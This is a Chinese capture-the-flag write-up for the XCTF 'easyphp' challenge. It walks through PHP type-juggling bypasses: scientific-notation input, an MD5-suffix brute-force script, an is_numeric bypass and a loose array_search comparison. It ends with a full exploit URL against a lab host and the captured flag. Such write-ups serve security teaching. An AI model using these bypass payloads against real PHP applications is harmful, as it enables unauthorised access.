[攻防世界][江苏工匠杯]easyphp
打开靶机url,上来就代码审计
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
$a = $_GET['a'];
$b = $_GET['b'];
if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
$key1 = 1;
}else{
die("Emmm...再想想");
}
}else{
die("Emmm...");
}
$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
$d = array_search("DGGJ", $c["n"]);
$d === false?die("no..."):NULL;
foreach($c["n"] as $key=>$val){
$val==="DGGJ"?die("no......"):NULL;
}
$key2 = 1;
}else{
die("no hack");
}
}else{
die("no");
}
if($key1 && $key2){
include "Hgfks.php";
echo "You're right"."\n";
echo $flag;
}
?> Emmm...
easyphp 不easy
从代码上看 必须 key1
和key2
都为true 或者都为 1 才能回显 flag
- 先看key1 = 1 的条件
1. 首先需要字符串a转为整型后 > 6000000,且a字符串的长度要小于等于3
通过科学计数法绕过 a = 1e9 (1e9 = 1000000000)
2. 要求b 的md5值后六位为 8b184b
只能通过撞库得到,编写撞库脚本
<?php
for ($i = 1; $i < 100000; $i++) {
if('8b184b' === substr(md5($i),-6,6)){
echo($i);
}
}
?>
得到b的值为53724,这里只能是猜测b和a一样是数字字符串,否则很难撞出来,只能说是解题思路吧,撞不出来就有点无解了,或者说有md5字典库去搜索吧
这里就知道 a=1e9, b = 53724
2. 再看key2=1的条件
1.c 必须是一个json字符串,并可以json_decode转化为array
2. 这个json里有一个key是m,且m 传入is_numeric返回false,且m对应的value大于2022
从这里可以看出,必然是要考察绕过is_numeric的检查
知识点:
基础知识:
数字字符串: 如: '123456', '1e123', '123.4'
数字字符串在与数字或者前导数字字符串比较时会转化为数字进行比较
前导数字字符串 如: '1234abcd', '1e123abcd', '123.4abcd'
前导数字字符串在与数字进行比较,且是弱类型比较时才会转化为数字进行比较,两个前导字符串比较不会转化为数字
其他字符串 如: 'abcd' 'abcd1234'
对于其他字符串,在与数字进行弱类型比较时会转化为数字,但只能转化为0
is_numberic()函数绕过
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。
2.1 那么绕过is_number 只要是一个前导字符串就可以了,比如:m => '2023a' (== > < 都是弱类型比较)
3. json里有一个key是 n,n是一个数组,长度为2,n的第一个元素也是数组
3.1 这里又有一个奇怪的逻辑:数组中有一个字符串是 "DGGJ", 同时下一行如果数组中有值是'DGGJ',就返回die,不给flag了
说明这里在考察字符串比较绕过
考点:此处利用array_search函数在比较两者是否相等时是使用的弱类型比较
其他字符串在与数字比较的时候会转为0,那么传入是0 的话 0==0 就会返回true
所以 n => [array(1,2), 0]
那么到这里 m,n 对应的值就都知道了,构造代码
<?php
$a = array('m' => '2023a', 'n' => array(array(1,2), 0));
var_dump($a);
echo json_encode($a);
?>
执行得到:
array(2) {
["m"]=>
string(5) "2023a"
["n"]=>
array(2) {
[0]=>
array(2) {
[0]=>
int(1)
[1]=>
int(2)
}
[1]=>
int(0)
}
}
{"m":"2023a","n":[[1,2],0]}
构造url
http://61.147.171.105:56947?a=1e9&b=53724&c={"m":"2023a","n":[[1,2],0]}
boom 得到flag cyberpeace{ce51bcd2ab60cd08a6c842b94aae1e77}
[攻防世界][江苏工匠杯]easyphp的更多相关文章
- 记录下做攻防世界的misc题
0x00 记录一下,代表自己做过 0x01 flag_universe 看简介是来自2018年的百越杯. 将文件下载下来后,就一个flag_universe.pcapng文件,wireshark打开. ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
- 【攻防世界】高手进阶 pwn200 WP
题目链接 PWN200 题目和JarvisOJ level4很像 检查保护 利用checksec --file pwn200可以看到开启了NX防护 静态反编译结构 Main函数反编译结果如下 int ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
- 攻防世界 | CAT
来自攻防世界官方WP | darkless师傅版本 题目描述 抓住那只猫 思路 打开页面,有个输入框输入域名,输入baidu.com进行测试 发现无任何回显,输入127.0.0.1进行测试. 发现已经 ...
- 攻防世界 robots题
来自攻防世界 robots [原理] robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在, ...
- 【攻防世界】 高手进阶区 Recho WP
0x00 考察点 考察点有三个: ROP链构造 Got表劫持 pwntools的shutdown功能 0x01 程序分析 上来三板斧 file一下 checksec --file XXX chmod ...
- CTF -攻防世界-crypto新手区(5~11)
easy_RSA 首先如果你没有密码学基础是得去恶补一下的 然后步骤是先算出欧拉函数 之后提交注意是cyberpeace{********}这样的 ,博主以为是flag{}耽误了很长时间 明明没算错 ...
随机推荐
- JavaScript 的闭包(closure)
以下内容为本人的学习笔记,如需要转载,请声明原文链接微信公众号「englyf」https://www.cnblogs.com/englyf/ 对于闭包的理解,其实可以归纳为,在创建函数时,同时创建了一 ...
- 达梦dba_segments指定表名查询到的大小都包含哪些数据
一.结论 dba_segments指定表名查询到的段大小包含索引.约束.表字段数据(包含LOB字段)(1)表(不包含LOB字段)创建默认分配2个簇,1个簇用于存放表结构及字段数据,1个簇用于存放clu ...
- 微信小程序制作日常生活首页
1.手机上效果预览 不知道为啥上传后是如此的高糊画质(手机画质很好) 微信小程序日常生活首页手机效果演示 2.开发者工具效果图 3.真机调试 4.项目的目录结构 5.核心代码 5.1 app.json ...
- 1.pytest入门
一.pytest单元测试框架 概念:单元测试是指在软件开发中,针对软件的最小单位(函数.方法等)进行正确性的检查测试 单元测试框架是自动化测试框架中的组成部分之一 ...
- 2流高手速成记(之五):Springboot整合Shiro实现安全管理
废话不多说,咱们直接接上回 上一篇我们讲了如何使用Springboot框架整合Nosql,并于文章最后部分引入了服务端Session的概念 而早在上上一篇中,我们则已经讲到了如何使用Springboo ...
- 三十二、kubernetes集群的网络实现
Kubernetes集群的网络实现 CNI介绍及集群网络选型 容器网络接口(Container Network Interface),实现kubernetes集群的Pod网络通信及管理.包括: CNI ...
- Ubuntu安装Docker及镜像加速器
一.安装Docker sudo apt-get update && sudo apt-get install -y apt-transport-https ca-certificate ...
- 禁止eslint对指定代码检测
有时候我们引入外部文件的API时,eslint无法识别,编译的时候就会出现warn eslint是可以禁用对指定代码的检测: 单行注释 let map = new BMap.Map('map') // ...
- 【Virt.Contest】CF1321(div.2)
第一次打虚拟赛. CF 传送门 T1:Contest for Robots 统计 \(r[i]=1\) 且 \(b[i]=0\) 的位数 \(t1\) 和 \(r[i]=0\) 且 \(b[i]=1\ ...
- Go语言核心36讲46
我们今天要讲的是os代码包中的API.这个代码包可以让我们拥有操控计算机操作系统的能力. 前导内容:os包中的API 这个代码包提供的都是平台不相关的API.那么说,什么叫平台不相关的API呢? 它的 ...